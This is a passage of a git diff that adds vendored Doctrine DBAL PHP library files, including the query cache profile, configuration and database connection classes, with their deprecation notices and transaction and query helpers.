array|false */ + private function fetch() + { + if (! isset($this->data[$this->num])) { + return false; + } + + return $this->data[$this->num++]; + } +} diff --git a/vendor/doctrine/dbal/src/Cache/CacheException.php b/vendor/doctrine/dbal/src/Cache/CacheException.php new file mode 100644 index 000000000..18e95d6be --- /dev/null +++ b/vendor/doctrine/dbal/src/Cache/CacheException.php @@ -0,0 +1,21 @@ +lifetime = $lifetime; + $this->cacheKey = $cacheKey; + if ($resultCache instanceof CacheItemPoolInterface) { + $this->resultCache = $resultCache; + } elseif ($resultCache instanceof Cache) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4620', + 'Passing an instance of %s to %s as $resultCache is deprecated. Pass an instance of %s instead.', + Cache::class, + __METHOD__, + CacheItemPoolInterface::class, + ); + + $this->resultCache = CacheAdapter::wrap($resultCache); + } elseif ($resultCache !== null) { + throw new TypeError(sprintf( + '$resultCache: Expected either null or an instance of %s or %s, got %s.', + CacheItemPoolInterface::class, + Cache::class, + get_class($resultCache), + )); + } + } + + public function getResultCache(): ?CacheItemPoolInterface + { + return $this->resultCache; + } + + /** + * @deprecated Use {@see getResultCache()} instead. + * + * @return Cache|null + */ + public function getResultCacheDriver() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4620', + '%s is deprecated, call getResultCache() instead.', + __METHOD__, + ); + + return $this->resultCache !== null ? DoctrineProvider::wrap($this->resultCache) : null; + } + + /** @return int */ + public function getLifetime() + { + return $this->lifetime; + } + + /** + * @return string + * + * @throws CacheException + */ + public function getCacheKey() + { + if ($this->cacheKey === null) { + throw CacheException::noCacheKey(); + } + + return $this->cacheKey; + } + + /** + * Generates the real cache key from query, params, types and connection parameters. + * + * @param string $sql + * @param list|array $params + * @param array|array $types + * @param array $connectionParams + * + * @return array{string, string} + */ + public function generateCacheKeys($sql, $params, $types, array $connectionParams = []) + { + if (isset($connectionParams['password'])) { + unset($connectionParams['password']); + } + + $realCacheKey = 'query=' . $sql . + '¶ms=' . serialize($params) . + '&types=' . serialize($types) . + '&connectionParams=' . hash('sha256', serialize($connectionParams)); + + // should the key be automatically generated using the inputs or is the cache key set? + $cacheKey = $this->cacheKey ?? sha1($realCacheKey); + + return [$cacheKey, $realCacheKey]; + } + + public function setResultCache(CacheItemPoolInterface $cache): QueryCacheProfile + { + return new QueryCacheProfile($this->lifetime, $this->cacheKey, $cache); + } + + /** + * @deprecated Use {@see setResultCache()} instead. + * + * @return QueryCacheProfile + */ + public function setResultCacheDriver(Cache $cache) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4620', + '%s is deprecated, call setResultCache() instead.', + __METHOD__, + ); + + return new QueryCacheProfile($this->lifetime, $this->cacheKey, CacheAdapter::wrap($cache)); + } + + /** + * @param string|null $cacheKey + * + * @return QueryCacheProfile + */ + public function setCacheKey($cacheKey) + { + return new QueryCacheProfile($this->lifetime, $cacheKey, $this->resultCache); + } + + /** + * @param int $lifetime + * + * @return QueryCacheProfile + */ + public function setLifetime($lifetime) + { + return new QueryCacheProfile($lifetime, $this->cacheKey, $this->resultCache); + } +} diff --git a/vendor/doctrine/dbal/src/ColumnCase.php b/vendor/doctrine/dbal/src/ColumnCase.php new file mode 100644 index 000000000..cb0dd409b --- /dev/null +++ b/vendor/doctrine/dbal/src/ColumnCase.php @@ -0,0 +1,28 @@ +schemaAssetsFilter = static function (): bool { + return true; + }; + } + + /** + * Sets the SQL logger to use. Defaults to NULL which means SQL logging is disabled. + * + * @deprecated Use {@see setMiddlewares()} and {@see \Doctrine\DBAL\Logging\Middleware} instead. + */ + public function setSQLLogger(?SQLLogger $logger = null): void + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4967', + '%s is deprecated, use setMiddlewares() and Logging\\Middleware instead.', + __METHOD__, + ); + + $this->sqlLogger = $logger; + } + + /** + * Gets the SQL logger that is used. + * + * @deprecated + */ + public function getSQLLogger(): ?SQLLogger + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4967', + '%s is deprecated.', + __METHOD__, + ); + + return $this->sqlLogger; + } + + /** + * Gets the cache driver implementation that is used for query result caching. + */ + public function getResultCache(): ?CacheItemPoolInterface + { + return $this->resultCache; + } + + /** + * Gets the cache driver implementation that is used for query result caching. + * + * @deprecated Use {@see getResultCache()} instead. + */ + public function getResultCacheImpl(): ?Cache + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4620', + '%s is deprecated, call getResultCache() instead.', + __METHOD__, + ); + + return $this->resultCacheImpl; + } + + /** + * Sets the cache driver implementation that is used for query result caching. + */ + public function setResultCache(CacheItemPoolInterface $cache): void + { + $this->resultCacheImpl = DoctrineProvider::wrap($cache); + $this->resultCache = $cache; + } + + /** + * Sets the cache driver implementation that is used for query result caching. + * + * @deprecated Use {@see setResultCache()} instead. + */ + public function setResultCacheImpl(Cache $cacheImpl): void + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4620', + '%s is deprecated, call setResultCache() instead.', + __METHOD__, + ); + + $this->resultCacheImpl = $cacheImpl; + $this->resultCache = CacheAdapter::wrap($cacheImpl); + } + + /** + * Sets the callable to use to filter schema assets. + */ + public function setSchemaAssetsFilter(?callable $callable = null): void + { + if (func_num_args() < 1) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5483', + 'Not passing an argument to %s is deprecated.', + __METHOD__, + ); + } elseif ($callable === null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5483', + 'Using NULL as a schema asset filter is deprecated.' + . ' Use a callable that always returns true instead.', + ); + } + + $this->schemaAssetsFilter = $callable; + } + + /** + * Returns the callable to use to filter schema assets. + */ + public function getSchemaAssetsFilter(): ?callable + { + return $this->schemaAssetsFilter; + } + + /** + * Sets the default auto-commit mode for connections. + * + * If a connection is in auto-commit mode, then all its SQL statements will be executed and committed as individual + * transactions. Otherwise, its SQL statements are grouped into transactions that are terminated by a call to either + * the method commit or the method rollback. By default, new connections are in auto-commit mode. + * + * @see getAutoCommit + * + * @param bool $autoCommit True to enable auto-commit mode; false to disable it + */ + public function setAutoCommit(bool $autoCommit): void + { + $this->autoCommit = $autoCommit; + } + + /** + * Returns the default auto-commit mode for connections. + * + * @see setAutoCommit + * + * @return bool True if auto-commit mode is enabled by default for connections, false otherwise. + */ + public function getAutoCommit(): bool + { + return $this->autoCommit; + } + + /** + * @param Middleware[] $middlewares + * + * @return $this + */ + public function setMiddlewares(array $middlewares): self + { + $this->middlewares = $middlewares; + + return $this; + } + + /** @return Middleware[] */ + public function getMiddlewares(): array + { + return $this->middlewares; + } + + public function getSchemaManagerFactory(): ?SchemaManagerFactory + { + return $this->schemaManagerFactory; + } + + /** @return $this */ + public function setSchemaManagerFactory(SchemaManagerFactory $schemaManagerFactory): self + { + $this->schemaManagerFactory = $schemaManagerFactory; + + return $this; + } + + public function getDisableTypeComments(): bool + { + return $this->disableTypeComments; + } + + /** @return $this */ + public function setDisableTypeComments(bool $disableTypeComments): self + { + $this->disableTypeComments = $disableTypeComments; + + return $this; + } +} diff --git a/vendor/doctrine/dbal/src/Connection.php b/vendor/doctrine/dbal/src/Connection.php new file mode 100644 index 000000000..d84dc3158 --- /dev/null +++ b/vendor/doctrine/dbal/src/Connection.php @@ -0,0 +1,2000 @@ + + * @psalm-var Params + */ + private array $params; + + /** + * The database platform object used by the connection or NULL before it's initialized. + */ + private ?AbstractPlatform $platform = null; + + private ?ExceptionConverter $exceptionConverter = null; + private ?Parser $parser = null; + + /** + * The schema manager. + * + * @deprecated Use {@see createSchemaManager()} instead. + * + * @var AbstractSchemaManager|null + */ + protected $_schemaManager; + + /** + * The used DBAL driver. + * + * @var Driver + */ + protected $_driver; + + /** + * Flag that indicates whether the current transaction is marked for rollback only. + */ + private bool $isRollbackOnly = false; + + private SchemaManagerFactory $schemaManagerFactory; + + /** + * Initializes a new instance of the Connection class. + * + * @internal The connection can be only instantiated by the driver manager. + * + * @param array $params The connection parameters. + * @param Driver $driver The driver to use. + * @param Configuration|null $config The configuration, optional. + * @param EventManager|null $eventManager The event manager, optional. + * @psalm-param Params $params + * + * @throws Exception + */ + public function __construct( + #[SensitiveParameter] + array $params, + Driver $driver, + ?Configuration $config = null, + ?EventManager $eventManager = null + ) { + $this->_driver = $driver; + $this->params = $params; + + // Create default config and event manager if none given + $config ??= new Configuration(); + $eventManager ??= new EventManager(); + + $this->_config = $config; + $this->_eventManager = $eventManager; + + if (isset($params['platform'])) { + if (! $params['platform'] instanceof Platforms\AbstractPlatform) { + throw Exception::invalidPlatformType($params['platform']); + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5699', + 'The "platform" connection parameter is deprecated.' + . ' Use a driver middleware that would instantiate the platform instead.', + ); + + $this->platform = $params['platform']; + $this->platform->setEventManager($this->_eventManager); + $this->platform->setDisableTypeComments($config->getDisableTypeComments()); + } + + $this->_expr = $this->createExpressionBuilder(); + + $this->autoCommit = $config->getAutoCommit(); + + $schemaManagerFactory = $config->getSchemaManagerFactory(); + if ($schemaManagerFactory === null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5812', + 'Not configuring a schema manager factory is deprecated.' + . ' Use %s which is going to be the default in DBAL 4.', + DefaultSchemaManagerFactory::class, + ); + + $schemaManagerFactory = new LegacySchemaManagerFactory(); + } + + $this->schemaManagerFactory = $schemaManagerFactory; + } + + /** + * Gets the parameters used during instantiation. + * + * @internal + * + * @return array + * @psalm-return Params + */ + public function getParams() + { + return $this->params; + } + + /** + * Gets the name of the currently selected database. + * + * @return string|null The name of the database or NULL if a database is not selected. + * The platforms which don't support the concept of a database (e.g. embedded databases) + * must always return a string as an indicator of an implicitly selected database. + * + * @throws Exception + */ + public function getDatabase() + { + $platform = $this->getDatabasePlatform(); + $query = $platform->getDummySelectSQL($platform->getCurrentDatabaseExpression()); + $database = $this->fetchOne($query); + + assert(is_string($database) || $database === null); + + return $database; + } + + /** + * Gets the DBAL driver instance. + * + * @return Driver + */ + public function getDriver() + { + return $this->_driver; + } + + /** + * Gets the Configuration used by the Connection. + * + * @return Configuration + */ + public function getConfiguration() + { + return $this->_config; + } + + /** + * Gets the EventManager used by the Connection. + * + * @deprecated + * + * @return EventManager + */ + public function getEventManager() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + '%s is deprecated.', + __METHOD__, + ); + + return $this->_eventManager; + } + + /** + * Gets the DatabasePlatform for the connection. + * + * @return AbstractPlatform + * + * @throws Exception + */ + public function getDatabasePlatform() + { + if ($this->platform === null) { + $this->platform = $this->detectDatabasePlatform(); + $this->platform->setEventManager($this->_eventManager); + $this->platform->setDisableTypeComments($this->_config->getDisableTypeComments()); + } + + return $this->platform; + } + + /** + * Creates an expression builder for the connection. + */ + public function createExpressionBuilder(): ExpressionBuilder + { + return new ExpressionBuilder($this); + } + + /** + * Gets the ExpressionBuilder for the connection. + * + * @deprecated Use {@see createExpressionBuilder()} instead. + * + * @return ExpressionBuilder + */ + public function getExpressionBuilder() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4515', + 'Connection::getExpressionBuilder() is deprecated,' + . ' use Connection::createExpressionBuilder() instead.', + ); + + return $this->_expr; + } + + /** + * Establishes the connection with the database. + * + * @internal This method will be made protected in DBAL 4.0. + * + * @return bool TRUE if the connection was successfully established, FALSE if + * the connection is already open. + * + * @throws Exception + * + * @psalm-assert !null $this->_conn + */ + public function connect() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4966', + 'Public access to Connection::connect() is deprecated.', + ); + + if ($this->_conn !== null) { + return false; + } + + try { + $this->_conn = $this->_driver->connect($this->params); + } catch (Driver\Exception $e) { + throw $this->convertException($e); + } + + if ($this->autoCommit === false) { + $this->beginTransaction(); + } + + if ($this->_eventManager->hasListeners(Events::postConnect)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated. Implement a middleware instead.', + Events::postConnect, + ); + + $eventArgs = new Event\ConnectionEventArgs($this); + $this->_eventManager->dispatchEvent(Events::postConnect, $eventArgs); + } + + return true; + } + + /** + * Detects and sets the database platform. + * + * Evaluates custom platform class and version in order to set the correct platform. + * + * @throws Exception If an invalid platform was specified for this connection. + */ + private function detectDatabasePlatform(): AbstractPlatform + { + $version = $this->getDatabasePlatformVersion(); + + if ($version !== null) { + assert($this->_driver instanceof VersionAwarePlatformDriver); + + return $this->_driver->createDatabasePlatformForVersion($version); + } + + return $this->_driver->getDatabasePlatform(); + } + + /** + * Returns the version of the related platform if applicable. + * + * Returns null if either the driver is not capable to create version + * specific platform instances, no explicit server version was specified + * or the underlying driver connection cannot determine the platform + * version without having to query it (performance reasons). + * + * @return string|null + * + * @throws Throwable + */ + private function getDatabasePlatformVersion() + { + // Driver does not support version specific platforms. + if (! $this->_driver instanceof VersionAwarePlatformDriver) { + return null; + } + + // Explicit platform version requested (supersedes auto-detection). + if (isset($this->params['serverVersion'])) { + return $this->params['serverVersion']; + } + + if (isset($this->params['primary']) && isset($this->params['primary']['serverVersion'])) { + return $this->params['primary']['serverVersion']; + } + + // If not connected, we need to connect now to determine the platform version. + if ($this->_conn === null) { + try { + $this->connect(); + } catch (Exception $originalException) { + if (! isset($this->params['dbname'])) { + throw $originalException; + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5707', + 'Relying on a fallback connection used to determine the database platform while connecting' + . ' to a non-existing database is deprecated. Either use an existing database name in' + . ' connection parameters or omit the database name if the platform' + . ' and the server configuration allow that.', + ); + + // The database to connect to might not yet exist. + // Retry detection without database name connection parameter. + $params = $this->params; + + unset($this->params['dbname']); + + try { + $this->connect(); + } catch (Exception $fallbackException) { + // Either the platform does not support database-less connections + // or something else went wrong. + throw $originalException; + } finally { + $this->params = $params; + } + + $serverVersion = $this->getServerVersion(); + + // Close "temporary" connection to allow connecting to the real database again. + $this->close(); + + return $serverVersion; + } + } + + return $this->getServerVersion(); + } + + /** + * Returns the database server version if the underlying driver supports it. + * + * @return string|null + * + * @throws Exception + */ + private function getServerVersion() + { + $connection = $this->getWrappedConnection(); + + // Automatic platform version detection. + if ($connection instanceof ServerInfoAwareConnection) { + try { + return $connection->getServerVersion(); + } catch (Driver\Exception $e) { + throw $this->convertException($e); + } + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4750', + 'Not implementing the ServerInfoAwareConnection interface in %s is deprecated', + get_class($connection), + ); + + // Unable to detect platform version. + return null; + } + + /** + * Returns the current auto-commit mode for this connection. + * + * @see setAutoCommit + * + * @return bool True if auto-commit mode is currently enabled for this connection, false otherwise. + */ + public function isAutoCommit() + { + return $this->autoCommit === true; + } + + /** + * Sets auto-commit mode for this connection. + * + * If a connection is in auto-commit mode, then all its SQL statements will be executed and committed as individual + * transactions. Otherwise, its SQL statements are grouped into transactions that are terminated by a call to either + * the method commit or the method rollback. By default, new connections are in auto-commit mode. + * + * NOTE: If this method is called during a transaction and the auto-commit mode is changed, the transaction is + * committed. If this method is called and the auto-commit mode is not changed, the call is a no-op. + * + * @see isAutoCommit + * + * @param bool $autoCommit True to enable auto-commit mode; false to disable it. + * + * @return void + */ + public function setAutoCommit($autoCommit) + { + $autoCommit = (bool) $autoCommit; + + // Mode not changed, no-op. + if ($autoCommit === $this->autoCommit) { + return; + } + + $this->autoCommit = $autoCommit; + + // Commit all currently active transactions if any when switching auto-commit mode. + if ($this->_conn === null || $this->transactionNestingLevel === 0) { + return; + } + + $this->commitAll(); + } + + /** + * Prepares and executes an SQL query and returns the first row of the result + * as an associative array. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return array|false False is returned if no rows are found. + * + * @throws Exception + */ + public function fetchAssociative(string $query, array $params = [], array $types = []) + { + return $this->executeQuery($query, $params, $types)->fetchAssociative(); + } + + /** + * Prepares and executes an SQL query and returns the first row of the result + * as a numerically indexed array. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return list|false False is returned if no rows are found. + * + * @throws Exception + */ + public function fetchNumeric(string $query, array $params = [], array $types = []) + { + return $this->executeQuery($query, $params, $types)->fetchNumeric(); + } + + /** + * Prepares and executes an SQL query and returns the value of a single column + * of the first row of the result. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return mixed|false False is returned if no rows are found. + * + * @throws Exception + */ + public function fetchOne(string $query, array $params = [], array $types = []) + { + return $this->executeQuery($query, $params, $types)->fetchOne(); + } + + /** + * Whether an actual connection to the database is established. + * + * @return bool + */ + public function isConnected() + { + return $this->_conn !== null; + } + + /** + * Checks whether a transaction is currently active. + * + * @return bool TRUE if a transaction is currently active, FALSE otherwise. + */ + public function isTransactionActive() + { + return $this->transactionNestingLevel > 0; + } + + /** + * Adds condition based on the criteria to the query components + * + * @param array $criteria Map of key columns to their values + * @param string[] $columns Column names + * @param mixed[] $values Column values + * @param string[] $conditions Key conditions + * + * @throws Exception + */ + private function addCriteriaCondition( + array $criteria, + array &$columns, + array &$values, + array &$conditions + ): void { + $platform = $this->getDatabasePlatform(); + + foreach ($criteria as $columnName => $value) { + if ($value === null) { + $conditions[] = $platform->getIsNullExpression($columnName); + continue; + } + + $columns[] = $columnName; + $values[] = $value; + $conditions[] = $columnName . ' = ?'; + } + } + + /** + * Executes an SQL DELETE statement on a table. + * + * Table expression and columns are not escaped and are not safe for user-input. + * + * @param string $table Table name + * @param array $criteria Deletion criteria + * @param array|array $types Parameter types + * + * @return int|string The number of affected rows. + * + * @throws Exception + */ + public function delete($table, array $criteria, array $types = []) + { + if (count($criteria) === 0) { + throw InvalidArgumentException::fromEmptyCriteria(); + } + + $columns = $values = $conditions = []; + + $this->addCriteriaCondition($criteria, $columns, $values, $conditions); + + return $this->executeStatement( + 'DELETE FROM ' . $table . ' WHERE ' . implode(' AND ', $conditions), + $values, + is_string(key($types)) ? $this->extractTypeValues($columns, $types) : $types, + ); + } + + /** + * Closes the connection. + * + * @return void + */ + public function close() + { + $this->_conn = null; + $this->transactionNestingLevel = 0; + } + + /** + * Sets the transaction isolation level. + * + * @param TransactionIsolationLevel::* $level The level to set. + * + * @return int|string + * + * @throws Exception + */ + public function setTransactionIsolation($level) + { + $this->transactionIsolationLevel = $level; + + return $this->executeStatement($this->getDatabasePlatform()->getSetTransactionIsolationSQL($level)); + } + + /** + * Gets the currently active transaction isolation level. + * + * @return TransactionIsolationLevel::* The current transaction isolation level. + * + * @throws Exception + */ + public function getTransactionIsolation() + { + return $this->transactionIsolationLevel ??= $this->getDatabasePlatform()->getDefaultTransactionIsolationLevel(); + } + + /** + * Executes an SQL UPDATE statement on a table. + * + * Table expression and columns are not escaped and are not safe for user-input. + * + * @param string $table Table name + * @param array $data Column-value pairs + * @param array $criteria Update criteria + * @param array|array $types Parameter types + * + * @return int|string The number of affected rows. + * + * @throws Exception + */ + public function update($table, array $data, array $criteria, array $types = []) + { + $columns = $values = $conditions = $set = []; + + foreach ($data as $columnName => $value) { + $columns[] = $columnName; + $values[] = $value; + $set[] = $columnName . ' = ?'; + } + + $this->addCriteriaCondition($criteria, $columns, $values, $conditions); + + if (is_string(key($types))) { + $types = $this->extractTypeValues($columns, $types); + } + + $sql = 'UPDATE ' . $table . ' SET ' . implode(', ', $set) + . ' WHERE ' . implode(' AND ', $conditions); + + return $this->executeStatement($sql, $values, $types); + } + + /** + * Inserts a table row with specified data. + * + * Table expression and columns are not escaped and are not safe for user-input. + * + * @param string $table Table name + * @param array $data Column-value pairs + * @param array|array $types Parameter types + * + * @return int|string The number of affected rows. + * + * @throws Exception + */ + public function insert($table, array $data, array $types = []) + { + if (count($data) === 0) { + return $this->executeStatement('INSERT INTO ' . $table . ' () VALUES ()'); + } + + $columns = []; + $values = []; + $set = []; + + foreach ($data as $columnName => $value) { + $columns[] = $columnName; + $values[] = $value; + $set[] = '?'; + } + + return $this->executeStatement( + 'INSERT INTO ' . $table . ' (' . implode(', ', $columns) . ')' . + ' VALUES (' . implode(', ', $set) . ')', + $values, + is_string(key($types)) ? $this->extractTypeValues($columns, $types) : $types, + ); + } + + /** + * Extract ordered type list from an ordered column list and type map. + * + * @param array $columnList + * @param array|array $types + * + * @return array|array + */ + private function extractTypeValues(array $columnList, array $types): array + { + $typeValues = []; + + foreach ($columnList as $columnName) { + $typeValues[] = $types[$columnName] ?? ParameterType::STRING; + } + + return $typeValues; + } + + /** + * Quotes a string so it can be safely used as a table or column name, even if + * it is a reserved name. + * + * Delimiting style depends on the underlying database platform that is being used. + * + * NOTE: Just because you CAN use quoted identifiers does not mean + * you SHOULD use them. In general, they end up causing way more + * problems than they solve. + * + * @param string $str The name to be quoted. + * + * @return string The quoted name. + */ + public function quoteIdentifier($str) + { + return $this->getDatabasePlatform()->quoteIdentifier($str); + } + + /** + * The usage of this method is discouraged. Use prepared statements + * or {@see AbstractPlatform::quoteStringLiteral()} instead. + * + * @param mixed $value + * @param int|string|Type|null $type + * + * @return mixed + */ + public function quote($value, $type = ParameterType::STRING) + { + $connection = $this->getWrappedConnection(); + + [$value, $bindingType] = $this->getBindingInfo($value, $type); + + return $connection->quote($value, $bindingType); + } + + /** + * Prepares and executes an SQL query and returns the result as an array of numeric arrays. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return list> + * + * @throws Exception + */ + public function fetchAllNumeric(string $query, array $params = [], array $types = []): array + { + return $this->executeQuery($query, $params, $types)->fetchAllNumeric(); + } + + /** + * Prepares and executes an SQL query and returns the result as an array of associative arrays. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return list> + * + * @throws Exception + */ + public function fetchAllAssociative(string $query, array $params = [], array $types = []): array + { + return $this->executeQuery($query, $params, $types)->fetchAllAssociative(); + } + + /** + * Prepares and executes an SQL query and returns the result as an associative array with the keys + * mapped to the first column and the values mapped to the second column. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return array + * + * @throws Exception + */ + public function fetchAllKeyValue(string $query, array $params = [], array $types = []): array + { + return $this->executeQuery($query, $params, $types)->fetchAllKeyValue(); + } + + /** + * Prepares and executes an SQL query and returns the result as an associative array with the keys mapped + * to the first column and the values being an associative array representing the rest of the columns + * and their values. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return array> + * + * @throws Exception + */ + public function fetchAllAssociativeIndexed(string $query, array $params = [], array $types = []): array + { + return $this->executeQuery($query, $params, $types)->fetchAllAssociativeIndexed(); + } + + /** + * Prepares and executes an SQL query and returns the result as an array of the first column values. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return list + * + * @throws Exception + */ + public function fetchFirstColumn(string $query, array $params = [], array $types = []): array + { + return $this->executeQuery($query, $params, $types)->fetchFirstColumn(); + } + + /** + * Prepares and executes an SQL query and returns the result as an iterator over rows represented as numeric arrays. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return Traversable> + * + * @throws Exception + */ + public function iterateNumeric(string $query, array $params = [], array $types = []): Traversable + { + return $this->executeQuery($query, $params, $types)->iterateNumeric(); + } + + /** + * Prepares and executes an SQL query and returns the result as an iterator over rows represented + * as associative arrays. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return Traversable> + * + * @throws Exception + */ + public function iterateAssociative(string $query, array $params = [], array $types = []): Traversable + { + return $this->executeQuery($query, $params, $types)->iterateAssociative(); + } + + /** + * Prepares and executes an SQL query and returns the result as an iterator with the keys + * mapped to the first column and the values mapped to the second column. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return Traversable + * + * @throws Exception + */ + public function iterateKeyValue(string $query, array $params = [], array $types = []): Traversable + { + return $this->executeQuery($query, $params, $types)->iterateKeyValue(); + } + + /** + * Prepares and executes an SQL query and returns the result as an iterator with the keys mapped + * to the first column and the values being an associative array representing the rest of the columns + * and their values. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return Traversable> + * + * @throws Exception + */ + public function iterateAssociativeIndexed(string $query, array $params = [], array $types = []): Traversable + { + return $this->executeQuery($query, $params, $types)->iterateAssociativeIndexed(); + } + + /** + * Prepares and executes an SQL query and returns the result as an iterator over the first column values. + * + * @param string $query SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @return Traversable + * + * @throws Exception + */ + public function iterateColumn(string $query, array $params = [], array $types = []): Traversable + { + return $this->executeQuery($query, $params, $types)->iterateColumn(); + } + + /** + * Prepares an SQL statement. + * + * @param string $sql The SQL statement to prepare. + * + * @throws Exception + */ + public function prepare(string $sql): Statement + { + $connection = $this->getWrappedConnection(); + + try { + $statement = $connection->prepare($sql); + } catch (Driver\Exception $e) { + throw $this->convertExceptionDuringQuery($e, $sql); + } + + return new Statement($this, $statement, $sql); + } + + /** + * Executes an, optionally parameterized, SQL query. + * + * If the query is parametrized, a prepared statement is used. + * If an SQLLogger is configured, the execution is logged. + * + * @param string $sql SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @throws Exception + */ + public function executeQuery( + string $sql, + array $params = [], + $types = [], + ?QueryCacheProfile $qcp = null + ): Result { + if ($qcp !== null) { + return $this->executeCacheQuery($sql, $params, $types, $qcp); + } + + $connection = $this->getWrappedConnection(); + + $logger = $this->_config->getSQLLogger(); + if ($logger !== null) { + $logger->startQuery($sql, $params, $types); + } + + try { + if (count($params) > 0) { + if ($this->needsArrayParameterConversion($params, $types)) { + [$sql, $params, $types] = $this->expandArrayParameters($sql, $params, $types); + } + + $stmt = $connection->prepare($sql); + + $this->bindParameters($stmt, $params, $types); + + $result = $stmt->execute(); + } else { + $result = $connection->query($sql); + } + + return new Result($result, $this); + } catch (Driver\Exception $e) { + throw $this->convertExceptionDuringQuery($e, $sql, $params, $types); + } finally { + if ($logger !== null) { + $logger->stopQuery(); + } + } + } + + /** + * Executes a caching query. + * + * @param string $sql SQL query + * @param list|array $params Query parameters + * @param array|array $types Parameter types + * + * @throws CacheException + * @throws Exception + */ + public function executeCacheQuery($sql, $params, $types, QueryCacheProfile $qcp): Result + { + $resultCache = $qcp->getResultCache() ?? $this->_config->getResultCache(); + + if ($resultCache === null) { + throw CacheException::noResultDriverConfigured(); + } + + $connectionParams = $this->params; + unset($connectionParams['platform'], $connectionParams['password'], $connectionParams['url']); + + [$cacheKey, $realKey] = $qcp->generateCacheKeys($sql, $params, $types, $connectionParams); + + $item = $resultCache->getItem($cacheKey); + + if ($item->isHit()) { + $value = $item->get(); + if (isset($value[$realKey])) { + return new Result(new ArrayResult($value[$realKey]), $this); + } + } else { + $value = []; + } + + $data = $this->fetchAllAssociative($sql, $params, $types); + + $value[$realKey] = $data; + + $item->set($value); + + $lifetime = $qcp->getLifetime(); + if ($lifetime > 0) { + $item->expiresAfter($lifetime); + } + + $resultCache->save($item); + + return new Result(new ArrayResult($data), $this); + } + + /** + * Executes an SQL statement with the given parameters and returns the number of affected rows. + * + * Could be used for: + * - DML statements: INSERT, UPDATE, DELETE, etc. + * - DDL statements: CREATE, DROP, ALTER, etc. + * - DCL statements: GRANT, REVOKE, etc. + * - Session control statements: ALTER SESSION, SET, DECLARE, etc. + * - Other statements that don't yield a row set. + * + * This method supports PDO binding types as well as DBAL mapping types. + * + * @param string $sql SQL statement + * @param list|array $params Statement parameters + * @param array|array $types Parameter types + * + * @return int|string The number of affected rows. + * + * @throws Exception + */ + public function executeStatement($sql, array $params = [], array $types = []) + { + $connection = $this->getWrappedConnection(); + + $logger = $this->_config->getSQLLogger(); + if ($logger !== null) { + $logger->startQuery($sql, $params, $types); + } + + try { + if (count($params) > 0) { + if ($this->needsArrayParameterConversion($params, $types)) { + [$sql, $params, $types] = $this->expandArrayParameters($sql, $params, $types); + } + + $stmt = $connection->prepare($sql); + + $this->bindParameters($stmt, $params, $types); + + return $stmt->execute() + ->rowCount(); + } + + return $connection->exec($sql); + } catch (Driver\Exception $e) { + throw $this->convertExceptionDuringQuery($e, $sql, $params, $types); + } finally { + if ($logger !== null) { + $logger->stopQuery(); + } + } + } + + /** + * Returns the current transaction nesting level. + * + * @return int The nesting level. A value of 0 means there's no active transaction. + */ + public function getTransactionNestingLevel() + { + return $this->transactionNestingLevel; + } + + /** + * Returns the ID of the last inserted row, or the last value from a sequence object, + * depending on the underlying driver. + * + * Note: This method may not return a meaningful or consistent result across different drivers, + * because the underlying database may not even support the notion of AUTO_INCREMENT/IDENTITY + * columns or sequences. + * + * @param string|null $name Name of the sequence object from which the ID should be returned. + * + * @return string|int|false A string representation of the last inserted ID. + * + * @throws Exception + */ + public function lastInsertId($name = null) + { + if ($name !== null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4687', + 'The usage of Connection::lastInsertId() with a sequence name is deprecated.', + ); + } + + try { + return $this->getWrappedConnection()->lastInsertId($name); + } catch (Driver\Exception $e) { + throw $this->convertException($e); + } + } + + /** + * Executes a function in a transaction. + * + * The function gets passed this Connection instance as an (optional) parameter. + * + * If an exception occurs during execution of the function or transaction commit, + * the transaction is rolled back and the exception re-thrown. + * + * @param Closure(self):T $func The 